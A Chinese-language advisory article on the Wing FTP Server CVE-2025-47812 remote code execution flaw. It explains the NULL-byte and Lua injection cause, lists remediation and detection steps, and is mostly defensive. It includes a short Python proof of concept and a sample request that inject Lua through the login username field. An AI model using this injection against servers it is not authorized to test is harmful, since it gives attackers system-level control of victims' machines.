云计算百科
云计算领域专业知识百科平台

Wing FTP 服务器的最高严重性安全漏洞

一、CVE‑2025‑47812:重大“NULL 字节 + Lua 注入”RCE 漏洞

概要

  • 漏洞编号:CVE‑2025‑47812

  • 危害等级:CVSS 评分 10.0/10.0,满分,属于“关键严重”。

  • 影响版本:所有 Wing FTP Server ≤ 7.4.3(包括 7.4.3),影响 Windows、Linux 和 macOS 平台 。

漏洞成因

  •  NULL 字节截断:在 /loginok.html 登录接口中,username 参数未进行 NULL 字节过滤。C/C++ 端使用 strlen() 函数时,遇到 %00(NULL)后会截断字符串,只检查 NULL 前的内容。这就允许攻击者通过构造用户名如 anonymous%00<payload> 绕过 验证,并获得登陆权限。
  • Lua 注入:截断仅在验证层面发生,但整个用户名(包括 NULL 后附加的恶意 payload)作为 Lua 代码写入会话文件。当该会话被服务器加载(例如访问 /dir.html 等界面),恶意 Lua 代码便会执行,导致远程命令执行(RCE)。 

利用条件

  • 无需认证:可通过匿名登录(如果启用),实现完全零认证攻击 。

  • 可远程攻击:攻击者只需向目标服务器发送恶意 POST 请求,附带构造好的 username 字段即可触发漏洞。无需登录 shell,也不需管理员权限即可执行命令。

权限提升

  • Linux 上:以 root 权限执行任意命令。

  • Windows 上:以 NT AUTHORITY\\SYSTEM 权限执行任意命令。

  • 由于默认服务配置通常以高权限运行,成功利用基本等同于完全控制服务器。

PoC 与实战利用

  • 已公开 Python PoC,可批量扫描多台目标,如 anonymous%00… lua payload 自动注入并获取。

  • 攻击工具如 Metasploit 模块已集成该漏洞,门槛显著降低。

  • 7 月 1 日起,全球多起真实攻击(如美国客户被入侵,执行目录扫描、创建后门账号、部署远程运维工具)已被捕获 。

相关宽幅威胁组件

此外研究人员发现的其他严重问题包括:

  • CVE‑2025‑27889:未授权密码泄露漏洞;

  • CVE‑2025‑47811:服务默认以 root/SYSTEM 身份运行,缺乏沙箱限制,加剧风险;

  • CVE‑2025‑47813:超长 UID Cookie 导致路径泄露;

  • CVE‑2025‑5196:通过 Lua 管理控制台执行未授权操作(虽然利用难度高),但也在 7.4.4 中一并修复。

修复建议

  •  立即升级:官方已于 2025 年 5 月 14 日 发布 Wing FTP Server 7.4.4 补丁,修复了 CVE‑2025‑47812、CVE‑2025‑5196 等漏洞 。 
  •  关闭匿名访问:除非有绝对业务需求,否则应禁用匿名登录,减少攻击路径。
  • 低权限运行服务:勿让 Wing FTP 以 root/SYSTEM 身份运行,改由最低权限账户托管,以减少漏洞被利用的后果。
  • 部署防护措施:结合 IDS/云服务、WAF 规则过滤 NULL 字节攻击流量,强化日志监控。重点审查 loginok.html POST 请求日志,查看带 %00 的异常模式。 
  • 总结

    • 漏洞性质:完全未授权,零认证,允许任意命令以系统最高权限执行,严重度极高,已被真实攻击利用。

    • 影响面广:目前互联网曝光设备约 8,000+,其中约 5,000 台暴露 Web 界面,风险极高 。

    • 应急推荐:立即升级至 7.4.4+,关闭匿名登录,尽快实施最低权限运行,部署安全监测与防御措施。

    二、修复策略(企业级应急响应方案)

    以下是针对 CVE-2025-47812(Wing FTP Server RCE 漏洞) 的:

    1、漏洞确认流程

  • 版本确认:

    • 登录 Wing FTP Server 管理页面,查看版本信息(如登录页面底部或后台“Help/About”)。

    • 如果版本 ≤ 7.4.3,说明存在漏洞风险。

  • 检测日志异常(筛查已被利用情况):

    • 检查 audit.log 或 web 访问日志中是否出现 loginok.html 请求中带 %00 的可疑 username:

      POST /loginok.html HTTP/1.1
      username=anonymous%00print("hacked")&password=xxx

    • 查找包含 lua 关键字的用户登录会话文件,如 sessions/*.lua。

  • 文件完整性检查(防后门):

    • 比对 Web 根目录和配置目录(如 /WingFTP/resources、/WingFTP/system)文件的哈希值。

    • 查找异常 .lua 文件或新增管理员账户。

  • 2、立即修复操作步骤

    步骤操作描述
    1️⃣ 停止服务 systemctl stop wingftp 或关闭 GUI 服务控制器
    2️⃣ 备份数据 备份配置、用户数据库、日志:/WingFTP/*
    3️⃣ 升级版本 下载并安装最新版 7.4.4 或更高:FTP Server Download
    4️⃣ 删除旧会话 清理所有 sessions/*.lua 会话文件(防止恶意代码残留)
    5️⃣ 禁用匿名 设置面板中关闭“允许匿名用户访问”
    6️⃣ 权限隔离 修改服务账户:确保 Wing FTP 不再以 root / SYSTEM 身份运行
    7️⃣ 重启服务 systemctl start wingftp 并测试功能完整性
    8️⃣ 日志监控 启用实时日志告警,对“loginok.html”异常请求进行告警

    三、PoC 测试脚本(仅用于测试你自己的服务器)

    注意事项

    • 请勿用于未授权系统,否则可能违法!

    • 确保目标允许匿名访问(或用测试用户模拟匿名)

    • 默认访问端口为 5466(或 Web 管理端口)

     Python PoC:触发 Lua 注入

    import requests
    import urllib.parse

    target = "http://192.168.1.100:5466/loginok.html"
    payload = 'anonymous%00print("PoC_SUCCESSFUL")'

    data = {
    'username': payload,
    'password': 'any',
    'submit': 'Login'
    }

    headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0'
    }

    resp = requests.post(target, data=data, headers=headers)
    if resp.status_code == 200:
    print("[+] Payload Sent Successfully")
    else:
    print("[-] Failed to send payload. HTTP Code:", resp.status_code)

    验证是否注入成功

  • 访问 /dir.html(或其他页面)触发会话载入。

  • 如果目标服务器开启日志,查看是否打印:

    PoC_SUCCESSFUL

  • 额外建议

    • ✅ 配置 AppArmor / SELinux 限制服务行为;

    • ✅ 设置访问控制,仅允许可信 IP 管理;

    • ✅ 使用 IDS 系统(如 Suricata)加入 NULL 字节攻击规则;

    • ✅ 与 SIEM 或 IBM QRadar 联动,监控 loginok.html 异常行为;

    • ✅ 若无法升级,建议临时关闭 Web 服务端口(如 5466)防止利用。

     

     

    赞(0)
    未经允许不得转载:网硕互联帮助中心 » Wing FTP 服务器的最高严重性安全漏洞
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!